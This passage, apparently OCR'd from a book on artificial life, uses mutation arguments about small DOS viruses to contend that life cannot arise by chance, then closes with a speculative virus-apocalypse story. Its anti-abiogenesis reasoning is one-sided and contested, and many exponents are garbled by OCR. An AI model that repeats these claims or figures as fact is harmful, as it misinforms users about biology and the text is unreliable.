the mutation rate, even if the population is huge. You’ll remember
that a random search was useless for 101 bytes even when all the
particles in the universe were trying combinations as fast as imag-
inable!

Let’s illustrate these two problems in our world of DOS vi-
ruses. To do that, I created a little simplification of COMPANION-
101 which I call STOMPER-101. STOMPER-101 overwrites files
rather than operating as a companion virus. The effective length of
STOPMER-101 is 66 bytes, but it is padded with rnop’s to match
COMPANION-101 as much as possible. Since STOMPER-101
overwrites, it probably won’t build a big population. Let’s neglect
that fact for a moment. If we were to imagine how STOMPER-101
could evolve into COMPANION-101, we might try to construct a
viable sequence of one-bit mutations to go from one to the other.
However, some of the structures in COMPANION-101 bar the
way. For example, it is somewhat of a mystery how one might
generate push-pop sequences with simple one-bit mutations.:

nop push bx
nop pop bx

Once you have one push or pop in place, the program will crash
without the other. Its fitness is much lower than the parent. It cannot
replicate at all. The only way to get around this problem appears to
be a macro-mutation, where multiple bits are mutated at the same
time in different parts of the program. All single-bit mutations will
be effectively stopped.
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Other mutations pose no unusual problems in that they don’t
measurably detract from STOMPER’s ability to survive. For ex-
ample, the sequence (see COMPANION and STOMPER s listing)

nop (90)
nop (90)
mov al, 90 (BO 90)
mov ah, 90 (B4 90)
mov ah, 92 (B4 92)
mov ah, 56 (B4 56)

is viable. All of the viruses in the sequence are just as viable as
STOMPER-101. However, it would appear that none of them give
the mutated code an advantage over the original. Thus, no survival
mechanism can kick in to direct the evolution of STOMPER-101
into the new form. The fitness function is fairly flat. That means
you may get mutations, but the mutations can only perform a
random search. There is no selection process to guide them toward
COMPANION-101. The only really big jump in fitness comes
when you get the full functionality of COMPANION-101, and that
won’t happen until you’re pretty near to having added some 35
bytes of code. That is just too much to expect a random search to
perform in a realistic model.

Summary

We have seen how unlikely it would be to create COMPAN-
ION-101 by random processes—even when ridiculously acceler-
ated. “Unlikely” isn’t even a good word. “Miracle” seems more
appropriate. As such, we cannot rely on random processes or
chance to bring anything like this virus into existence.
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Furthermore, COMPANION-101 is about the smallest virus
which could proliferate well enough to have any chance of getting
evolution to kick in. Anything smaller must sacrifice some func-
tionality. Therefore it does not make sense to look for smaller
viruses that might have been created by chance, and then hope they
could evolve into COMPANION-101. The process of evolution
itself would require more luck than the creation of a fully working
COMPANION-101 to begin with. That is because small mutation
rates and small populations don’t bode well for evolution. The
structures required to evolve something like COMPANION-101
present significant obstacles to evolution , and we expect there will
be large areas where evolution itself will have to perform a random
search for the right virus, without the aid of significant selection
processes.

As such, we can find no viable means of explaining how present
day viruses got here, short of saying that they were intelligently
designed by people. In the world of DOS viruses, abiogenesis is
out, period. That may seem anti-climactic. However, it is anti-cli-
mactic only if this conclusion is irrelevant to AL in general and to
our world of carbon-based organisms. In fact, it is anything but
irrelevant . . .



The Real World:
Beginnings

In the last chapter we faced some rather serious obstacles to
getting viruses started in the world of bits and bytes. We found that
it was almost essential to inject intelligence into the system in some
way. The likelihood that viruses could get going purely by chance
appeared to be beyond our wildest dreams of remote.

This picture is very different from the popular view of the
origin of life on earth. Most people seem to believe that life started
as a result of natural chemical processes on the surface of the earth
many billions of years ago. This picture of the beginning is painted
in book after book, and in classrooms around the world. You would
think it was a well-established scientific fact. Unfortunately, noth-
ing could be further from the truth! Once you start digging into the
scientific justification for such notions, you find out just how
vacuous they are. The situation is much worse than the problems
we encountered with evolution.

Francis Crick, one of the men who unravelled the mysteries of
DNA in the fifties, wrote in 1981,

“An honest man, armed with all the knowledge available to us
now, could only state that in some sense, the origin of life appears
at the moment to be almost a miracle, so many are the conditions
which would have had to have been satisfied to get it going.” !

Though Crick saw no reason to believe that life could not have
arisen by reasonable chemical processes, he seemed driven to spend
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over half of his book, Life Itself, defending the idea of directed
panspermia. Directed panspermia is the idea that life probably did
not originate on earth, but somewhere else in the universe, and
microorganisms were subsequently sent to earth to populate it. The
purpose of such a wild idea is to mitigate the difficulties of “almost
a miracle” to get life going on earth.

We have to wonder, what is it that drives a Nobel Laureate to
invoke spacemen to deal with the origin of life on earth? Neither is
he alone. A. G. Carins-Smith, in Seven Clues to the Origin of Life
writes

“But you say, with all the time in the world, and so much world,
the right combinations of circumstances would happen some time?
Is that not plausible?

“The answer is no: there was not enough time, and there was not
enough world.” 2

He argues that modern carbon-based life was the byproduct of a
genetic takeover from a system of clay-based chemistry. Thaxton,
Bradley and Olsen, in The Mystery of Life’s Origin: Reassessing
Current Theories,’ are driven to consider divine creation. Robert
Shapiro, in Origins: A Skeptic’s Guide to the Creation of Life on
Earth, believes a scientific answer will come, but admits that much
of the modern approach “does not represent science, but rather a
search for evidence in support of an established mythology.”*>

1 Francis Crick, Life Itself (Simon & Schuster, New York:1981) p. 88

2 A. G. Cairns-Smith, Seven Clues to the Origin of Life(Cambridge University
Press, Cambridge:1985) p. 47

3 Charles Thaxton, Walter Bradley, Roger Olsen, The Mystery of Life’s Origin:
Reassessing Current Theories (Philosophical Library, New York:1984).

4 Robert Shapiro, Origins: A Skeptic’s Guide to the Creation of Life on Earth
(Summit Books, New York:1986) p. 301

5 1 would urge you to pick up some of these books and read them. They’ll give
you a proper perspective on the magnitude of this problem, where I can only
touch on it here, and refer you to these authors for the arguments to back up
what I say. Of these four books, Mystery is the best because it best deals with
the informational content of life, and that is what causes all the problems.
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In fact, the voices of these skeptics seem to echo many of the
problems we found with the idea that viruses might have formed
spontaneously in some manner. To see this, let’s first go back and
look at the problems we ran into in the last chapter, only now in the
real world . . . .

Random Processes

In the last chapter we found that random processes were
frightfully inadequate when it came to the task of trying to assemble
a first “living organism.” For even the simplest viable viruses,
probabilities of getting the right answer at random were on the order
of 1 in 1022 or worse. In fact, the probabilities were so stacked
against us that had we seen a virus pop out of our random file
generator, we’d be justified to call it a miracle.

Generally, the same kinds of analyses give preposterous num-
bers for real-world organisms too. Let’s investigate this by exam-
ining some common real-world life and some proposed forms of
proto-life.

Example 1: The Bacterium E. Coli.®

E. Coli is one of the simplest living organisms, a one-celled
bacterium. It would seem fairly certain that an organism of similar
complexity could survive and prosper on the early earth. One might
reasonably argue that it is the minimum viable life form. As far as
present-day life goes, the only thing simpler are viruses, and they
require a very special environment to live—the inside of a cell. As
such, one could certainly argue that today’s viruses would not be
viable until the more complex one-celled organisms had first come
into being.

E. Coli has a DNA molecule which is roughly 4,000,000
nucleotides long.” Each of these four million sites is occupied by

6 An excellent review of all the workings of E. Coli is given by Robert Glass,
Gene Function, E. Coli and its Heritable Elements (Croom Helm,
London:1982).

7 Ibid.,p. 11.
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one of four different nucleotides. Thus, the probability of creating
it at random from the right bases is 1 in 4+000:000 = 1 jp 103,000,000
This is an absurdly small number—much smaller than anything we
encountered with our simple viruses. Even putting every atom in
the universe to work synthesizing molecules wouldn’t make a dent
in this number. Of course, we don’t really know how degenerate
the instructions are. Just as with the COMPANION-101 virus, we
found that we could rearrange some instructions and get essentially
the same functionality, we might be able to make some changes in
some of these 4,000,000 nucleotides and still get an organism that
could do well on the early earth. The redundancy of the genetic
code helps us out a lot here. Essentially, it gets our number down
to 20!333:333=102:300.000_Going beyond that, though, at the protein
level, are there a hundred viable combinations? A thousand? A
million? No one knows for sure, so it’s not sure how far we could
shrink 10%309990 down. On the other hand, we have a long, long
way to shrink it before it comes within the realm of possible.®

Example 2: The MDV-1 RNA / OB replicase sequence.’

QP is a bacterial virus made up of RNA that can be evolved in
the proper medium in a test tube, quite apart from the bacteria it
normally infects. This medium includes an enzyme, called Q
replicase, to keep the self-reproduction going. In that special envi-
ronment it can be evolutionarily “tuned” to favor short chains of
genetic material because the short chains replicate faster. The result
is a strand of RNA 218 nucleotides long dubbed MDV-1. It has
been demonstrated that this MDV-1 RNA sequence can evolve a
resistance to Ethidium Bromide in a laboratory environment.'?

8 And we can make the number a lot bigger if we want to, by considering different
types of chemical bonds and isomers of the nucleic acids, all of which must be
just right in order for the molecules to work as they are supposed to.

9 Kacian, Mills, Kramer & Spiegelman “ A Replicating RNA Molecule Suitable
for a Detailed Analysis of Extracellular Evolution and Replication”,
Proceedings of the National Academy of Science, US4, 69, (1972) pp.
3038-3042.

10 Kramer, Mills, Cole, Nishihara & Spiegelman, “Evolution in vitro: Sequence
and Phenotype of a Mutant RNA Resistant to Ethidium Bromide”, Journal of
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Something like this perhaps represents a minimal self-replicating
and evolving molecule in the real world, perhaps somewhere in
between MINI-42 and PICO-7, functionally. Information wise,
we’re talking about some 55 bytes of code.

The probability of creating this RNA sequence at random is 1
in 4218 = 107131 per attempt. That is unlikely, but not nearly so bad
as for E. Coli.

Example 3: Leslie Orgel’s “Naked RNA gene”’"!

Leslie Orgel has shown that some single strands of RNA,
typically ten nucleotides long can be converted to a double strand
of RNA (in the form of a double-helix) without any catalyzing
enzyme like Q[3 replicase. As such, this single strand, forming a
double-helix is a single replication. At that point the replication
stops. Something like this is not quite replicating, and has perhaps
a little less functionality than PICO-7.

Now, the numbers in Example 1 and 2 are so large that, even
though the real world is a vastly different place than the inside of
a computer, we still face incredible improbability. For example it
takes an incredible amount of effort to build 10® computers, but it
is very easy to set up a chemical reaction involving 10%® or so
individual reactants. Yet a factor of 10%° is nothing at all in
comparison to 10'3!. Just as in the last chapter, we might make
arguments with ridiculous numbers. For example, only if every
elementary particle in the universe were a sequencing machine
turning out random proteins at the rate of 10%%/second, for the life
of the universe, the chances that Example 2 would ever show up
would be only 1 in 10%. To add to the problem, for this RNA strand
to be a viable archetype of all life, you’d have to synthesize the Q
replicase along with the RNA before reproduction could begin. The
replicase is more complicated than the RNA itself, and since the
RNA can’t synthesize it, you’d need an abundant supply. That

Molecular Biology, 89, (1974) pp. 719-736.
11 Leslie Orgel and T. Inoue, “A Nonenzymatic RNA Polymerase Model”,
Science, 219, (1983) pp. 859-862.
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pushes the probability of spontaneously generating such a system
even further into the realm of miracles.

Now Orgel’s naked gene could get created relatively easily by
our sequencing machine. That does not, however, mean that it
represents a viable first life-form. Just as with the PICO-7 replica-
tor, there are manifold objections to calling it the archetype of life,
which we’ll examine in a moment. Just like the PICO-7, any
realistic model of starting conditions suggest that the formation of
anaked gene like Example 3 would be a rare event.!? Yet it appears
something very small like this is the only hope if random processes
are all we have to work for us.

Directed Abiogenesis

If purely random processes would have a hard time generating
something as large as MDV-1 RNA directly, we have to wonder if
there might be some guiding principle—perhaps in the chemistry—
that might help assemble a small self-reproducing system that could
never be assembled by random chance. In the world of viruses we
had to reject this possibility due to the nature of data storage media.
In the real world, though, could there be something about the
chemistry that would get things going? After all, Miller and Urey
have succeeded in creating some useful biological chemicals like
amino acids from a soup of primitive chemicals and a spark.'3

Now, we have to be careful in discussing directed processes,
lest we should insert our own intelligence into the equation. It is
possible for man to sequence a simple protein or a piece of DNA—
and thereby synthesize it in the laboratory. That is somewhat like
writing a program in a computer, though. Even if you could, say,
synthesize a virus, or force it to evolve in the laboratory, that is not
pertinent to the question of origins. We must either seek reasonable
natural processes to construct proteins, etc., or we must confess that
we are modeling a form of intelligent creation.

12 Ibid., p. 862.
13 Stanley Miller, “ A Production of Amino Acids under Possible Primitive Earth
Conditions” Science, 117 (1953) p. 528.
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Thaxton, et. al., in their book ,
discuss the chemistry of life in quite a bit of detail. Their analysis
is anything but encouraging. While biomonomers like Urey syn-
thesized are to be expected, polymers like DNA, RNA and proteins
are problematic. The monomers are energetically favored. The
polymers are not. Also, the polymers are ideally suited for infor-
mation storage. That means preferred arrangements do not exist.

Now, Thaxton goes into some useful detail on this point that
other authors seem to miss. In forming biopolymers, a crucial
question is how much work must be done to form them. You must
put energy into these polymers to make them. The fact that pre-
ferred arrangements of biopolymers do not exist means you can
break this work down into two components, the work required to
bond the molecules together, and the work required to construct the
specific arrangement for a given DNA sequence, protein, or what
have you. These two components are decoupled. Typically, the real
world scenarios which origins researchers study can at best explain
how the thermodynamic work is done. Essentially, there are no
answers regarding configurational work.'* That is left to random
chance processes. (And we know that won’t work.)

In the laboratory one can, for example, specifically design
chemical processes to construct a protein. These elaborate proc-
esses do the configurational work necessary, just like programming
a computer. They store information in the molecules being assem-
bled. However, it would seem that basic chemistry alone stops short
of defining preferred configurations.'”

So the idea of directed abiogenesis in the real world has some
formidable problems.

Bootstrapped Abiogenesis

14 Op. Cit., Thaxton, pp. 144-165.

15 And to suggest that an intelligently designed process could occur in the wild
is something like saying that you could load up DEBUG on your computer,
and watch a landslide hit the keyboard and correctly type in a new virus.
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A. G. Carins-Smith’s theory that carbon-based life began as a
genetic takeover from clay chemistry is not too different from the
idea of a virus bootstrapping off of some pre-exiting piece of code.
This genetic takeover approach is very popular among artificial life
fans. Many even use it as a model for their work, desiring to
bootstrap a silicon-based life that might one day pickup and evolve
beyond what carbon-based life has been able to achieve.'®

Where Carins-Smith’s ideas fail is that even if clays could
develop into some kind of self-reproducing organisms, evolution
would optimize the clay chemistry. It would not optimize the
carbon-based chemistry. Even given a clay structure that could
catalyze a protein or an RNA molecule into existence, those mole-
cules would be essentially random as far as any ability to create or
sustain carbon-based life goes. Chances are they would have noth-
ing to do with a living organism, just like a randomly generated
sequence of bytes would have nothing to do with a virus. That there
should be a correlation between the clay chemistry and the carbon
chemistry—so that optimizing one could optimize the other—
would be a miraculous coincidence, statistically speaking. It would
be like pulling a good virus off of a Macintosh computer and
running it on a PC, and finding that the same binary code proved
to be a better virus on a PC. That is much less likely than the
possibility that a chunk of programmed code on a PC could be
almost a virus, by accident. After all, the PC code is at least
performing some useful function on the PC, whereas the Mac code
is just random trash, as it is coded for a different operating system
and a different processor.

Bootstrapped abiogenesis in the world of DOS viruses was
only even remotely possible because computer programs, in one
way or another, perform all the same functions that viruses do. They
open files, put data in them, etc., etc. These programs themselves
were intelligently designed to do these things. So in essence, the
miscellaneous code on a disk was not random, and the possibility

16 Hans Moravec, “Human Culture: A Genetic Takeover Underway”, S.
Langton, Ed., Artificial Life (Addison Wesley, Redwood City,
California:1989) pp. 167-199.
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presented itself that an ordinary program might be sufficiently like
a virus that it could turn into one with a little prodding. There is no
analogy to this in the real world, unless we imagine that Crick’s
spacemen used DNA-based storage in their computers, and one of
their spaceships crashed on earth. in other words, we would need a
pre-existing DNA/RNA/protein based chemistry which was per-
forming similar functions to those of living organisms to bootstrap
off of. Something like Carins-Smith’s model doesn’t offer us that.
The chemistry is sufficiently different to be irrelevant.

And so bootstrapped abiogenesis in the real world proves
lacking too.

Evolutionary Dead Ends

Well, suppose something like a small naked gene was sponta-
neously generated (or a naked protein of similar complexity—it
doesn’t really matter for our argument). Could it be the archetype
of all life? As with viruses, there are a number of objections, not
too different than what we encountered with PICO-7:

1. The probability that this naked gene could come into existence
in a realistic model of our world is very tiny.

2. The replication is very limited, so there is no opportunity for
evolution to kick in.

3. There is no viable sequence of steps to go from this gene to the
next step up on the ladder, which might be something like
Spiegelman’s RNA with replicase.

Orgel himselfis hesitant to call his RNA the archetype of life. Much
research has been done to determine the composition of the pre-bi-
otic environment, and the idea of oceans filled with a pre-biotic
soup consisting of all the right chemicals for life has largely been
dismissed. If there ever was any soup, it existed in only very
localized areas for brief periods of time. And it appears quite
possible that no soup ever existed anywhere. So getting the naked
gene in the first place is problematic—an unlikely event.

Once you had anaked gene, if you could get it to replicate more
readily, you might get it to evolve. Yet it would have to jump some
major hurdles in order to evolve to the next level of complexity. It
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is hard to imagine how a pure RNA system could evolve charac-
teristics suitable to spawn an RNA/Enzyme system with something
like Q[3-Replicase. One would expect the factors that went into
making a pure RNA chemistry survive better would have little to
do with what would make a different chemistry work well. And
then you have the question of how to get the replicase synthesized
and involved in the reaction. At best, you might have to traverse a
large gap via random processes. At worst, you may find a dead end
when a mutation necessary to get the RNA/enzyme system going
will prove fatal to the pure RNA system, somewhat like the problem
we faced trying to evolve push/pop sequences in a virus.

These kind of evolutionary problems seem to abound in the
beginnings of life on earth, just as they did with viruses. Once you
build some RNA and the Q[3 replicase to make it work, how do you
get the RNA to synthesize its own enzymes? How do you build
DNA in? Cell walls? Ribosomes? and so on.

Unfortunately, we can’t analyze the problems in the real world
as easily as we could with computer viruses. We can, however, see
enough to realize that the problems and challenges may be just as
big, or even bigger, in the real world than they were for DOS
viruses. Certainly, if something like £. Coli is a minimal life-form,
there would have to be an incredible number of steps involved in
creating it, as it is much larger than our minimum viable virus,
COMPANION-101.

Most scientists would agree that something as complex as E.
Coli would be viable in the early earth. If, however, we look at
something a factor of ten smaller, it’s not clear that it would be
viable at all. The same size versus function limits which we
encountered with viruses will be important in the real world too.
To have a viable theory of abiogenesis, we at least need to find the
minimal life-form that can reproduce enough to have a fair shot at
evolving. Right now, as far as we can see, a naked gene doesn’t
have much of a chance at that. Probably an RNA-enzyme system
doesn’t have much of a chance in the real world, either.

So it would seem that the idea of abiogenesis in the real world
is fraught with difficulties, perhaps even more so than it was for
our viruses. In short, “one must conclude that no valid scientific



The Real World: Beginnings 281

explanation of the origin of life exists at present.”!” Certainly it
would appear that these difficulties will not go away anytime soon.

Generalizations

I realize that I’ve just thrown a lot of objections to the idea of
abiogenesis at you that you’ve probably never heard before. And I
admit that I’'m not making much of an effort to argue these points
and convince you that biological research supports what I’ve said.
The books I’ve cited take on that work, and I’d suggest you read
them if you’re skeptical (and I hope you are).

In the past two chapters, we’ve examined two facts of creation.
One, the world of viruses, two, the real world. We could analyze
the world of viruses carefully and see real mathematical objec-
tions—reasons why viruses must not have popped up out of no-
where. Although we cannot analyze the real world so easily, we do
see that the experimental work of the past few decades has raised
many similar objections as to why carbon-based life could not
simply pop up out of nowhere. That is a profound mystery which
seems to drive even Nobel laureates to look for little green men.
We should acknowledge it for the mystery it is and not brush it
under the rug.

That two worlds which are so very different should both show
up such similar problems in the question of beginnings is entirely
shocking. At the very least, our findings for viruses seem to
corroborate some of these skeptical positions about the origin of
life on earth. And perhaps the similarities should be taken as a
suggestion that we seek some general principles that may be at work
here—principles which might be applied to any world we design
or find, which define limits on the abiogenesis of life in such
worlds.

Despite the differences between the worlds we looked at, the
problem was exactly the same. In both worlds, we could find no
mechanism short of intelligence to do the coding which is essential

17 Hubert Yockey, “Self Organization Origin of Life Scenarios and Information
Theory”, Journal of Theoretical Biology, 91, (1981) pp. 13-31.
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to get life off the ground. A really viable organism appeared to
require enough exacting information content that random chance
processes were utterly incapable of bringing it about. Numbers like
1071% are not small probabilities—they are miracles. And the
scientist cannot do science with miracles. In both worlds, the
informational character of what we had to build seemed to preclude
using the physics of that world to do it. At the same time, we could
not call on evolution to help us until we had a successful self-re-
producing system. Yet that success is based on function, which
requires sufficient information to encode it. In both worlds, we have
this dilemma. The mystery of life’s origin is fundamentally infor-
mational.

Let us suppose for a few moments that the worst of our skeptics
are absolutely right. Life on our earth cannot be explained by any
reasonable model of abiogenesis. The philosopher can invoke the
infinitesimal chance event. The theologian can invoke God. The
sci-fi writer can invoke green men. But science stops. The scientist
is apparently at a dead end for explaining what happened. He
throws up his hands in despair . . . . Then he steps back from the
situation to try to get a glimpse of the broader picture. What went
wrong? Can at least the difficulties be made into some model of
how the world works?

Suppose we were to consider all the possible worlds that might
support artificial life, or real life. We might classify them into three
broad categories:

A. All possible worlds.
B. Worlds that support artificial life.
C. Worlds that support spontaneously generated artificial life.

Obviously B is a subset of A and C is a subset of B. We might take
interest in what the ratio of B-type worlds to C-type worlds is. We
might imagine a plot like Figure 23.1, where we graph ““ germinal-
ity” versus the parameters that define a particular world. Perhaps
there are some regions where even a B-type world is a rare com-
modity. Then there are other regions where a B-type world is fairly
common, but a C-type world is very rare. Finally, there may be
regions where a C-type world is perhaps not so rare.
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Figure 23.1: Probability of finding B- and C-type
worlds.

The Cost of a C-type World

Both the world of DOS viruses and our world appear to be
B-type worlds. They both support information-based self- repro-
ducing automata. Yet the difficulties of forming those automata
seem to preclude abiogenesis. Many other AL constructs seem to
be B-type worlds as well. For example, Langton’s automaton and
Byl’s both are B-type worlds.

We might wonder, how expensive would it be to convert a B-
type world into a C-type world? In making such a conversion, we
have to put additional information into the physics of that world.
This additional information is the “cost” of conversion.

Let’s try it with Byl’s automaton. By adding two new states,
and 23 new transition rules, we can devise a world in which the Byl
automaton can be formed from a simple two-cell configuration
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Figure 23.2: Spontaneously generating the Byl
automaton.

which can be formed at random with relative ease. This spontane-
ous generation scenario is depicted in Figure 23.2. This world is set
up by the GENESIS files in the SRA_ LAB program on the Pro-
gram Disk.

If we look only at the automaton, it would appear we gain a lot.
The chances of creating the original 12 cell BYL by random
processes is something like 1 in 6!2, or 1 in 2 billion. By compari-
son, the chances of creating the two cell pre-BYL are only 1 in 64!
The difference in information content of the two starting points is

SSimpler starting point — 11’1(82) - 11’1(612) =-17.3 23.1

However, the advance we have made is only superficial. Once we
start looking at the transition rules, it becomes apparent we have
taken two steps backward, rather than one forward. The original
BYL automaton required 57 rules. In going from a 6 state space to
an 8 state space, we have increased the information content of the
transition rules by
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SNew States = S7(In(8) - In(6)) = 16.4 23.2

and in adding 23 new rules, we have increased the information
content by

SNew Rules = 23In(8) = 47.8 23.3
for a total information increase of
S=164+478-173=469 23.3

In other words, the act of special creation was cheaper, infor-
mation wise, than working some kind of spontaneous generation
into the system. Furthermore, all 23 of the rules we put in seem to
be very necessary if you only add two new states. Adding only one
new state, if that is possible, will necessitate more rules, thereby
increasing /ASNew Rules- Adding more new states may help cut down
on the rules needed, but it will increase /ASnew states- Essentially, we
probably can’t do much better than we have, no matter how we go
about it. That means if you were to start creating systems at random,
with both random rules and random configurations, you’d be much
more likely to come up with a B-type world than a C-type world—at
least in the region where the Byl automaton exists. To give you an
idea of just how much easier it would be to get a B-type world, the
ratio of C-type to B- type is ¢ **? = 1.3 x 102%, That means that if
the area of the whole United States was made into a plot like Figure
23.1, the vast expanse of it would be B-type worlds, and our C-type
modification would be a plateau about the size of a bacterium on
this plot. C-type worlds are thus very, very rare.

Could it be that C-type worlds are always much rarer than B-
type worlds? Our results certainly suggest the thought. To quantify
this idea, we might suggest a rule of the form

(C-type) - LI(B-type) = [/(Automaton) - [ /(Seed) 23.4
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In other words, given any self-reproducing automaton, the infor-
mation we have to add to go from a B-type world that will support
the automaton to a C-type world that can generate it from some
seed is always greater than or equal to the difference in information
content between the automaton and the seed. For Byl, the inequality
apparently holds. We might imagine that in some better circum-
stances the equality could hold.

Essentially what this rule says is that you cannot buy anything
by going to a C-type world. The C-type world cannot spontaneously
generate an automaton more complex than what is built in to it. The
fact that we have an inequality simply says that the rules which do
the building are sometimes less than perfectly efficient at building
the automaton.

Now, obviously, since we’re talking about the information
content of the physical laws, we can apply this law rigorously to
the realm of artificial life, and not to situations where these laws
cannot be so analyzed, as with the real world. However, that does
not mean this law has nothing to say about the real world. If we
believe that the laws of this world were not specifically created with
an eye toward spontaneously generating life, then chances are we
would live in a B-type world. In fact, our law tells us that chances
are so weighted in favor of a B-type world that a C-type world
would be a greater miracle than a B-type world with a miraculously
created living organism to get life going. To put it another way, the
magic that would have to be built into the foundation of the universe
would be a more unlikely miracle than that needed for an act of
special creation! Thus, our law would tell us not to be surprised if
the two worlds we examined that had “ given” physical laws turned
out to be B-type worlds. Even in the event that we could not
scientifically explain how life got into one of those worlds, we
should not be surprised.

Of course, this law is only hypothetical right now. Yet it would
seem possible to prove or disprove it with further artificial life
research. If it is true, its implications are devastating. For more than
a century, scientists have embraced abiogenesis in an attempt to
take the “miracle” out of the beginning of life. As we have seen in
this chapter, this research appears to be in some rather serious
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trouble. Our law would suggest that all of it is only—in the end—a
quest for a bigger miracle.



The Juggernaut of AL?

If you have read Steven Levy’s book Artificial Life: The Quest
for a New Creation,! then you know the book was a virtual
celebration of this “new creation” right up to the last chapter. The
last chapter is ominous and foreboding though. What happens if
our synthetic organisms can evolve in a few seconds what might
take a billion years for carbon-based life? Will they become smarter
than us? Will they wipe us out? Will they make pets of us?

If evolution is as creative as mainstream biologists think it is,
then we could be in big trouble. AL could make nuclear prolifera-
tion look like a kiddie game. On the other hand, if evolution is
reactive, as | think it might be, then maybe we are not in as much
trouble as supposed.

Levy was right to sound an ominous chord. Throughout his
book he never questions the power of evolution. Neither do his
stars. And if evolution is omnipotent, then any artificial life form
that can pass genetic information on to its offspring is liable to
become a threat sooner or later. The only way to contain that threat
would be to limit our artificial creations to things that are very
dumb, and that cannot replicate very fast. If our creations replicate
fast, they can evolve fast and become smarter than us. If they are
too smart to begin with, they can figure evolution out and figure
out how to replicate fast. The logical conclusion might seem to be

1 Steven Levy, Artificial Life: The Quest for a New Creation, (Pantheon Books,
New York:1992)
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to outlaw AL research. However such attempts to proscribe tech-
nical development have historically been suicidal. Sooner or later
someone somewhere develops the technology, and those who
choose to remain blind to it are buried by it.

On the other hand, if evolution is effective only in coupling
external intelligence into a system, but not very useful in creating
something out of thin air, then the problem at hand is very different.
We might be able to create machines that get smarter with succes-
sive generations, but they would have a hard time surpassing us.
We could also limit their evolutionary development by being
careful about how we couple intelligence into the system.

However, a purely reactive evolution would not mitigate the
danger in creating artificial life. Mankind could easily be conquered
by something far dumber than he is. Men are far more intelligent
than a little chunk of RNA, and yet the AIDS virus is wreaking
havoc on humanity. It is mutating and evolving too. If it happened
to evolve into a strain that could travel and infect via airborne
particles, all of us could be infected in a matter of months—before
we even knew it. Fifty years hence, a fifteen year old would be
considered an old man, human civilization would be a shadow of
what it is today, and no one would even dream that the virus could
be eliminated. This is a simple result of the fact that it is much easier
to destroy something than to build it. A dumb virus that is little
more than a complex molecule can destroy your T4 cells, but all of
human intelligence cannot build new ones. In the same way, even
a very stupid artificial life-form could conceivably wreak all kinds
of havoc on us. It needn’t even be “alive” in any strong sense. Our
environment is very fragile in ways, and if we wanted to, we could
wreck it—with or without AL.

When applied to AL, the difference between a creative and a
reactive evolution is the difference between an unlimited threat and
a containable technology. Any technology is potentially threaten-
ing if abused. Nuclear fission can be a threat; burning fossil fuels
can be a threat; computerized money can be a threat; the technology
to make iron can be a threat. However, properly used, most tech-
nology can be beneficial. Even nuclear bombs might someday be
used to save humanity— perhaps by diverting a comet on a collision
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course with the earth. A hostile (or just selfish) intelligence superior
to our own, though, is potentially uncontrollable.

Some AL researchers have a curiously nihilistic attitude toward
their work. They acknowledge they’re working to create our suc-
cessors and seem to consider our eventual demise an inevitable fact
of evolution.? So why not bring it about? Unfortunately I think it
is far more likely that a successful cockroach will do us in than an
intelligent superman. Rather than creating our successors, we’ll
simply be figuring out one more way to kill ourselves.

The successful cockroach does not require unbounded evolu-
tion—maybe just a little evolution to make it tough. I firmly believe
that if we do not properly understand AL and evolution and learn
how to contain it, we are playing with fire. Let me take you fifty
years into the future to explain . . .

Atomic storage technology was developed and put to work in
computers forty years ago. Five years later the first notebook com-
puters with 100 Terabytes of pico-second access, non-volatile stor-
age became available for under $5000. Of course, software lagged
far behind hardware. For nearly twenty years, the software giants
battled it out developing operating systems to make effective use of
this storage technology. In fact operating systems proliferated to
such an extent that real progress in programming gave way to brute
competition between operating systems. By and by, IBM came up
with the solution. Their OS/4 operating system was an incredible
engineering feat. About 1.2 terabytes of code, fully interactive
speech recognition, touch, and vision interface, artificial reality
feedback. But the clincher was the artificial intelligence which
allowed the operating system and applications to adapt to both the
individual user and the software developer. It was a cinch to write
very complex programs in this environment because of the artificial
intelligence, despite the fact that there were nearly two million
possible system calls. Shareware proliferated for it, and then com-
mercial programs that would boggle the mind of anyone just ten
years earlier.

2 Ibid., p. 342-348.
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By 2045, OS/4 was the de facto standard. There weren’t even any
close competitors. Nobody even had any interest in new operating
systems, because this one seemed to fit everyone’s needs so well. It
seemed to be the golden age of computing, except for one thing. OS/4
had some anti-virus measures built into it. They worked pretty well.
However a fairly simple but benign virus appeared in this environ-
ment that those anti-virus measures couldn’t cope with. This virus
was only about 2 megabytes in size, and since it was benign, nobody
cared too much about it. However, at the time the United States had
become a tyranny whose evils far eclipsed even those of Stalin and
Hitler. Most intelligent people had fled the country long ago. That
government went on a crusade to find the author of the virus. They
got their man, and subjected him to functional re-engineering at the
hands of nano-robots. A horrible fate. This focused quite a bit of
attention on the virus and its alleged author. To defend this poor
scapegoat, a team of scientists got together and proved that just such
a virus should evolve into a useful system clean-up utility if just left
alone.

A couple weeks later, IBM released a supplementary anti-virus
utility to take care of the problem. Even though the scientists said
not to worry, a lot of people wanted the virus out, and IBM saw this
as a good way to make a moral statement about virus writing that
would make a number of governments happy. This anti-virus utility
was the beginning of the end, though. A typical case of the quick fix.
Nobody took the time to disassemble the virus. Nobody listened to
the team of scientists.

Until that anti-virus utility was released, there was little evolu-
tionary pressure on the virus, and most of it caused the virus to evolve
in beneficial ways. The utility was quite adept at putting evolutionary
pressure on the virus to make it malevolent though. And the virus
mutated with incredible ease. I’ve heard estimates that it mutated
over ten million times on the first day. If that were not enough, the
artificial intelligence of the anti-virus only succeeded in driving the
viruses (which also used system Al resources) to become smarter
and more prolific. The anti-virus was made available on a Monday,
free of charge to the general public. By Wednesday, the whole world
was in chaos. Everything was shut down. Financial markets. Com-
munications. Hospitals, the works. People were dying. Nobody went
to work. Nobody turned their computers on.

The one exception was a host of government technicians whose
job it was to monitor and control the population in the US. These
guys were working furiously to kill the virus, but they did not dare
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to turn the computers off. The whole population was waiting for
them to, and would kill them the minute they did. By Friday, the
viruses had become sophisticated enough to figure out that there was
an intelligence external to the computer, and to survive, they had to
fight this external threat. The viruses then took control of all the
nano-robots used to keep the citizenry in check. No one here is quite
sure of what happened after that. Some nuclear weapons were
launched. Then practically the whole world went up in smoke. I’ve
heard the viruses won. . . .

Far out? Perhaps. Impossible? Maybe not—even if creative evolu-
tion is hocus-pocus. To avoid such nightmares, it would seem wise
to overcome the difficulties of developing a real theory of evolu-
tion, and learn how evolution creates, or at least how it couples
external intelligence into a self-reproducing system in a very de-
tailed way.

It would seem reasonable to suggest that, with the proper
understanding, one could design an operating system that kept
evolution under control, or even directed it to agreeable ends. That
by itself could go a long way toward containing the problem of
undesired viruses evolving into more sophisticated and destructive
forms.

One way to help some catastrophe like the above scenario come
about is to do something stupid like pass a law against writing
